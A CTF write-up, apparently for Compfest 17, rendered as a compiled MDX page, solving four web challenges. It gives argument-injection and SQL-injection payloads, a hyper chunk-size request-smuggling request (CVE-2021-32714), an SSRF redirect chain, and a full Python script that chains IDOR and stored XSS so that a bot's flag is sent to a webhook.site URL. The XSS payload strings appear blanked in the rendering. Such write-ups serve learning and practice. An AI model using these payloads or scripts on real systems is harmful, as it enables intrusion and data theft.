const{Fragment:e,jsx:n,jsxs:t}=arguments[0];function _createMdxContent(i){const r={code:"code",h2:"h2",h4:"h4",hr:"hr",li:"li",p:"p",pre:"pre",ul:"ul",...i.components};return t(e,{children:[n(r.h2,{id:"introduction",children:"Introduction"}),"\n",n(r.hr,{}),"\n",n(r.h2,{id:"bassh",children:"Bassh"}),"\n",t(r.p,{children:["The purpose of this chall is to get the flags contained in ",n(r.code,{children:"src/flag.txt"})]}),"\n",n(r.h4,{id:"vuln",children:"Vuln"}),"\n",n(r.p,{children:"If we look how web serve problem file"}),"\n",n(r.pre,{children:n(r.code,{className:"language-python",children:'cat "problems/$file_target.txt" | while read -r line; do\n echo "

$line

"\n done\n'})}),"\n",n(r.p,{children:"and file_target obtained from"}),"\n",n(r.pre,{children:n(r.code,{className:"language-python",children:"file_target=$(basename -s .py $(urldecode \"${QUERY_PARAMS['file']}\"))\n"})}),"\n",t(r.p,{children:["so to access flag we want file_target leads to ",n(r.code,{children:"../../flag.txt"}),", but the problem is basename in default will delete all dir prefix like ",n(r.code,{children:"../"})," so if we input ",n(r.code,{children:"../../flag"})," program will execute ",n(r.code,{children:'cat "problems/flag.txt"'})," not ",n(r.code,{children:'cat "problems/../../flag.txt"'}),"\nluckly because ",n(r.code,{children:"urlcode"})," remain unquoted, we can inject some command flag for basename like ",n(r.code,{children:"-z"})," and ",n(r.code,{children:"-a"}),". ",n(r.code,{children:"-a"})," will make basename can execute many argument separated by space/null, so if we input ",n(r.code,{children:".. / .. / flag"})," it will execute ",n(r.code,{children:".."})," then ",n(r.code,{children:"/"})," then ",n(r.code,{children:".."})," then ",n(r.code,{children:"/"})," then ",n(r.code,{children:"flag"}),", which mean we will get ",n(r.code,{children:"../../flag"})," path location, but all separated execution will have onewline at the end of output, we dont want that so to prevent that we have to use another command flag such as ",n(r.code,{children:"-z"})," where ",n(r.code,{children:"-z"})," will make output of execution dont have newline but null."]}),"\n",n(r.h4,{id:"payload",children:"Payload"}),"\n",n(r.pre,{children:n(r.code,{children:"-z -a .. /.. / flag\n"})}),"\n",n(r.p,{children:"in url"}),"\n",n(r.pre,{children:n(r.code,{children:"-z%20-a%20..%20/%20..%20/%20flag\n"})}),"\n",n(r.hr,{}),"\n",n(r.h2,{id:"gift-for-tifosi",children:"Gift for tifosi"}),"\n",n(r.p,{children:"The purpose of this chall is to get the flag contained in the bot's env"}),"\n",n(r.pre,{children:n(r.code,{children:'bot:\n build:\n context: ./src/bot\n args:\n - BROWSER=chromium\n restart: always\n expose:\n - "3000"\n environment:\n APPNAME: Admin\n APPURL: http://proxy:80\n APPURLREGEX: ^https?://proxy:80(/.*)?$\n APPFLAG: COMPFEST17{fake_flag}\n APPLIMIT: 2\n APPLIMITTIME: 60\n USE_PROXY: 1\n DISPLAY: ${DISPLAY}\n APPEMAIL: admin@ferrari.com\n APPPASS: 1a07e0185d47012a66fec6c4dbf2a96d\n networks:\n - internal\n deploy:\n resources:\n limits:\n cpus: "0.5"\n memory: "1G"\n'})}),"\n",n(r.h4,{id:"vuln-1",children:"Vuln"}),"\n",t(r.ul,{children:["\n",t(r.li,{children:["Insecure Direct Object Reference (IDOR)","\n",n(r.pre,{children:n(r.code,{className:"language-python",children:'@router.put("/edit")\nasync def edit_user(id: Optional[str] = Query(None), body: UserEdit = Body(...), user = Depends(get_current_user)):\n if id:\n try:\n await update_profile_by_id(id, body.description)\n except ValueError as e:\n return HTTPException(status_code=400, detail=str(e))\n else:\n user_id = str(user["_id"])\n await update_profile_by_id(user_id, body.description)\n return JSONResponse(status_code=200, content=success("Profile updated successfully"))\n'})}),"\n","if we look, the endpoint accepts an id query parameter to specify which user profile to update. It fails to verify if the currently authenticated user matches the target_id, allowing any logged-in user to modify any other user's profile (including the Admin)"]}),"\n",t(r.li,{children:["XSS\nin view profile page","\n",n(r.pre,{children:n(r.code,{className:"language-python",children:'if BeautifulSoup(text, "html.parser").find_all():\n raise HTTPException(status_code=400, detail="No HTML allowed")\n\n'})}),"\n","filter mechanism only use html.parser, to bypass this use ",n(r.code,{children:""})," because this tage returning empty list for ",n(r.code,{children:"find_all()"})]}),"\n"]}),"\n",n(r.h4,{id:"exploit",children:"Exploit"}),"\n",n(r.p,{children:"The exploit flow that I am thinking of is IDOR then XSS via bot where I will change the admin profile with a script that will then be executed by the bot."}),"\n",t(r.ul,{children:["\n",t(r.li,{children:["\n",t(r.p,{children:["First is get admin Id to edit admin profile we have to know admin id to execute IDOR, then how we know it?, luckly objectId of mongoDB is very predictible, if we see this image\nMongo Object IDs are 12-byte hexadecimal, for example if we have objectId ",n(r.code,{children:"5f2459ac9fa6dc2500314019"})," then we can say"]}),"\n",t(r.ul,{children:["\n",t(r.li,{children:[n(r.code,{children:"5f2459ac"}),": 1596217772 in decimal = Friday, 31 July 2020 17:49:32"]}),"\n",t(r.li,{children:[n(r.code,{children:"9fa6dc"}),": Machine Identifier"]}),"\n",t(r.li,{children:[n(r.code,{children:"2500"}),": Process ID"]}),"\n",t(r.li,{children:[n(r.code,{children:"314019"}),": An incremental counter"]}),"\n"]}),"\n",n(r.p,{children:"and because we already have admin timestamp\nalso machine identifier and process ID most likely will remains same, we only have to brute force counter id"}),"\n"]}),"\n",t(r.li,{children:["\n",n(r.p,{children:"Then inject XSS via profile"}),"\n",n(r.pre,{children:n(r.code,{children:"

]]>\n"})}),"\n",n(r.p,{children:"this payload make bot execute fecth to webhook which contain flag"}),"\n"]}),"\n"]}),"\n",n(r.h4,{id:"full-script",children:"Full Script"}),"\n",n(r.pre,{children:n(r.code,{className:"language-python",children:'import requests\nimport json\nimport base64\nimport time\nimport sys\nimport datetime\n\nBASE_URL = "http://localhost:7303"\nBOT_URL_TARGET = "http://proxy:80/dashboard?modal=profile"\nWEBHOOK_URL = "https://webhook.site/91e5fda5-534e-4c59-82ac-a9151a91ea83"\n\ndef get_user_id_from_token(token):\n try:\n payload = token.split(".")[1]\n payload += "=" * ((4 - len(payload) % 4) % 4)\n decoded = base64.urlsafe_b64decode(payload).decode()\n data = json.loads(decoded)\n return data.get("sub")\n except Exception as e:\n print(f"[-] Error decoding token: {e}")\n return None\n\ndef solve():\n session = requests.Session()\n print("[*] Registering user...")\n username = "hacker" + str(int(time.time()))\n email = f"{username}@example.com"\n password = "password123"\n try:\n res = session.post(f"{BASE_URL}/api/auth/register", json={\n "username": username,\n "email": email,\n "password": password,\n "description": "Just a hacker"\n })\n except requests.exceptions.ConnectionError:\n print(f"[-] Could not connect to {BASE_URL}. Is docker running?")\n return\n if res.status_code == 201:\n print("[+] Registered successfully")\n elif res.status_code != 400:\n print(f"[-] Registration failed: {res.text}")\n print("[*] Logging in...")\n res = session.post(f"{BASE_URL}/api/auth/login", json={\n "email": email,\n "password": password\n })\n if res.status_code != 200:\n print(f"[-] Login failed: {res.text}")\n return\n token = res.json()["data"]["access_token"]\n user_id = get_user_id_from_token(token)\n print(f"[+] My User ID: {user_id}")\n headers = {"Authorization": f"Bearer {token}"}\n target_id = None\n print("[*] Fetching Admin info and Scanning...")\n try:\n res_total = session.get(f"{BASE_URL}/api/dashboard/users?limit=1", headers=headers)\n total_users = res_total.json()["data"]["total"]\n print(f"[+] Total users: {total_users}")\n res = session.get(f"{BASE_URL}/api/dashboard/users?username=admin&limit=1", headers=headers)\n if res.status_code == 200 and res.json()["data"]["results"]:\n data = res.json()["data"]["results"][0]\n admin_created_at_str = data[\'created_at\']\n dt = datetime.datetime.fromisoformat(admin_created_at_str)\n dt = dt.replace(tzinfo=datetime.timezone.utc)\n admin_ts_hex = hex(int(dt.timestamp()))[2:]\n my_random = user_id[8:18]\n my_counter = int(user_id[18:], 16)\n est_counter = my_counter - (total_users - 1)\n \n for c in range(est_counter - 100, est_counter + 100):\n cid = f"{admin_ts_hex}{my_random}{hex(c)[2:].zfill(6)}"\n try:\n check = session.get(f"{BASE_URL}/api/profile/view?id={cid}", headers=headers)\n if check.status_code == 200 and check.json()["data"]["username"] == "admin":\n print(f"[+] FOUND ADMIN ID: {cid}")\n target_id = cid\n break\n except: pass\n else:\n print("[-] Admin not found.")\n except Exception as e:\n print(f"[-] Error: {e}")\n\n if not target_id: return\n print("[*] Sending XSS Payload to Admin Profile...")\n payload = f"

]]>"\n \n print(f"[*] Payload: {payload}")\n print(f"[*] Payload Length: {len(payload)}")\n \n res = session.put(f"{BASE_URL}/api/profile/edit?id={target_id}", json={\n "description": payload\n }, headers=headers)\n \n if res.status_code == 200:\n print("[+] Admin profile updated successfully")\n else:\n print(f"[-] Admin update failed: {res.text}")\n return\n print("[*] Triggering Bot...")\n try:\n bot_res = requests.post(f"{BASE_URL}/report/", data={\n "url": BOT_URL_TARGET\n })\n print(f"[*] Bot response: {bot_res.text}")\n except Exception as e:\n print(f"[-] Bot trigger failed: {e}")\n\n print(f"\\n[+] Attack complete! CHECK YOUR WEBHOOK: {WEBHOOK_URL}")\n\nif __name__ == "__main__":\n solve()\n\n'})}),"\n",n(r.hr,{}),"\n",n(r.h2,{id:"not-simple-web",children:"not Simple web"}),"\n",t(r.p,{children:["The web in this challenge uses python as a proxy and rust as a backend, where our goal is to get the flag located in ",n(r.code,{children:"/secret.html"}),", but if we look at the proxy"]}),"\n",n(r.pre,{children:n(r.code,{className:"language-python=",children:'def _filter_route(self, request):\n assert request[1].startswith("/")\n uri = request[1]\n if not (re.match(r"^/\\w+\\.\\w+$", uri) or uri == "/"):\n self._reject(301, "Moved Permanently", "/reject.html")\n if "secret" in uri.lower():\n self._reject(307, "Temporary Redirect", "/reject.html")\n'})}),"\n",n(r.p,{children:"It is clear that the word 'secret' will be filtered so that we cannot access secret.html directly."}),"\n",n(r.h4,{id:"vuln-2",children:"Vuln"}),"\n",t(r.p,{children:["If we look at the libraries used in the backend in ",n(r.code,{children:"cargo.toml"})]}),"\n",n(r.pre,{children:n(r.code,{children:'[package]\nname = "server"\nversion = "0.1.0"\nedition = "2024"\n\n[dependencies]\nbase64 = "0.22.1"\nhyper = { version = "=0.14.9", features = ["full"] } # Pinned for compatibility\ninclude_dir = "0.7.4"\nmime_guess = "2.0.5"\ntokio = { version = "1.46.1", features = ["full"] }\n\n'})}),"\n",t(r.p,{children:["There is one library that has a vulnerability that we can exploit, namely Hyper. Hyper in version 0.14.9 has a vulnerability that we can see in ",n(r.code,{children:"CVE-2021-32714"})," which occurs when Hyper receives a hexadecimal chunk size larger than 64-bits (for example, 17 hex digits). Due to the overflow, Hyper will only read the bottom 64-bits. For example, when the chunk size is ",n(r.code,{children:"f0000000000000003"}),", Hyper will assume that the chunk size is only 3 (occurs due to the overflow), while the proxy assumes the chunk size is indeed large."]}),"\n",n(r.h4,{id:"payload-1",children:"Payload"}),"\n",n(r.pre,{children:n(r.code,{children:"POST /index.html HTTP/1.1\nHost: challenge.host\nTransfer-Encoding: chunked\nConnection: keep-alive\nContent-Length: 99\n\nf0000000000000003\nabc\n0\n\nGET /secret.html HTTP/1.1\nHost: challenge.host\nConnection: close\n"})}),"\n",t(r.p,{children:["This payload can bypass the proxy because the proxy assumes the chunk size is ",n(r.code,{children:"f0000000000000003"})," which makes ",n(r.code,{children:"GET /secret.html HTTP/1.1"})," considered part of the chunk while the backend will assume the chunk size is ",n(r.code,{children:"3"})," which makes the backend assume that ",n(r.code,{children:"abc"})," is the entire chunk so that ",n(r.code,{children:"GET /secret.html HTTP/1.1"})," will be considered a new request."]}),"\n",n(r.hr,{}),"\n",n(r.h2,{id:"dark-side-of-asteroids",children:"Dark side of asteroids"}),"\n",t(r.p,{children:["Our goal is to get the flag that is stored in the database in the ",n(r.code,{children:"admin_secrets"})," table and has access level = 3"]}),"\n",n(r.pre,{children:n(r.code,{className:"language-python",children:"secrets = [\n ('Flag', FLAG, 3),\n ('final_message', 'You made it! Remember: the flag belongs to those who trust their own path.', 3),\n ('author_message', 'You sure you can get the flag? Think twice…', 2),\n ('welcome_note', 'Welcome to the Asteroid Admin system!', 1)\n ]\n for s in secrets:\n c.execute('INSERT OR IGNORE INTO admin_secrets (secret_name, secret_value, access_level) VALUES (?, ?, ?)', s)\n"})}),"\n",n(r.h4,{id:"vuln-3",children:"Vuln"}),"\n",t(r.ul,{children:["\n",t(r.li,{children:["SSRF in ",n(r.code,{children:"/profile"}),"\nThe /profile endpoint allows users to upload a profile picture by providing a URL. The application attempts to validate this URL using the is_private_url function:","\n",n(r.pre,{children:n(r.code,{className:"language-python",children:"def is_private_url(url: str):\n hostname = urlparse(url).hostname\n if not hostname:\n return True\n ip = socket.gethostbyname(hostname)\n return ipaddress.ip_address(ip).is_private\n"})}),"\n","we can see, the validation logic checks the resolved IP of the initial URL. However, it uses ",n(r.code,{children:"requests.get(photo_url)"})," to fetch the content. By default, requests follows HTTP redirects. If an attacker provides a URL that points to a benign public IP (passing the check) but then redirects to a private IP (e.g., 127.0.0.1), the application will follow the redirect and access the internal resource. The validation is not applied to the redirected URL"]}),"\n",t(r.li,{children:["SQLI in ",n(r.code,{children:"/internal/admin/search"}),"\nin","\n",n(r.pre,{children:n(r.code,{className:"language-python",children:"def internal_admin_search():\n if request.remote_addr != '127.0.0.1':\n return \"Access denied\", 403\n\n conn = get_db_connection()\n try:\n search_raw = request.args.get('q', '')\n if search_raw == '':\n query = \"SELECT secret_name, secret_value FROM admin_secrets WHERE access_level <= 2\"\n else:\n search = filter_sqli(search_raw)\n query = f\"SELECT secret_name, secret_value FROM admin_secrets WHERE secret_name LIKE '{search}' AND access_level <= 2\"\n\n rows = conn.execute(query).fetchall()\n\n result = ''\n for row in rows:\n result += f\"{row['secret_name']}: {row['secret_value']}\\n\"\n if not result:\n result = \"No secrets found\"\n\n return result, 200, {'Content-Type': 'text/plain; charset=utf-8'}\n except Exception as e:\n return f\"Error: {str(e)}\"\n finally:\n conn.close()\n"})}),"\n","but there is a custom ",n(r.code,{children:"filter_sqli"})," function to sanitize the input","\n",n(r.pre,{children:n(r.code,{className:"language-python",children:"blacklist = [\n 'union', 'select', 'from', 'where', 'insert', 'delete', 'update', 'drop', 'or',' ',\n 'table', 'database', 'schema', 'group', 'order', 'by', ';', '=', '<', '>','||','\\t'\n]\n"})}),"\n","luckly The blacklist is incomplete. It blocks spaces and many keywords, but it does not block single quotes (') or SQL comment characters ",n(r.code,{children:"(--)"}),". Additionally, the logic enforces that the string access_level must be present in the input\nSo we can inject a payload that closes the quote, comments out the rest of the query (removing the access_level ",n(r.code,{children:"<= 2 restriction"}),"), and ensures access_level is present in the comment to satisfy the check.\nin here we will use","\n",n(r.pre,{children:n(r.code,{children:"Flag'--access_level\n"})}),"\n","to bypass access level = 3"]}),"\n"]}),"\n",n(r.h4,{id:"payload-2",children:"Payload"}),"\n",n(r.p,{children:"Use redirect attack to bypass SSRF and inject SQL command to get flag"}),"\n",n(r.pre,{children:n(r.code,{children:"http://httpbin.org/redirect-to?url=http%3A%2F%2F127.0.0.1%3A5000%2Finternal%2Fadmin%2Fsearch%3Fq%3DFlag%2527--access_level\n"})})]})}return{tableOfContents:[{depth:2,value:"Introduction",id:"introduction"},{depth:2,value:"Bassh",id:"bassh",children:[{depth:4,value:"Vuln",id:"vuln"},{depth:4,value:"Payload",id:"payload"}]},{depth:2,value:"Gift for tifosi",id:"gift-for-tifosi",children:[{depth:4,value:"Vuln",id:"vuln-1"},{depth:4,value:"Exploit",id:"exploit"},{depth:4,value:"Full Script",id:"full-script"}]},{depth:2,value:"not Simple web",id:"not-simple-web",children:[{depth:4,value:"Vuln",id:"vuln-2"},{depth:4,value:"Payload",id:"payload-1"}]},{depth:2,value:"Dark side of asteroids",id:"dark-side-of-asteroids",children:[{depth:4,value:"Vuln",id:"vuln-3"},{depth:4,value:"Payload",id:"payload-2"}]}],default:function(e={}){const{wrapper:t}=e.components||{};return t?n(t,{...e,children:n(_createMdxContent,{...e})}):_createMdxContent(e)}};

Archive

UofTCTF 2026 Write-up

Compfest 17 CTF Write-up

MDX Cheatsheet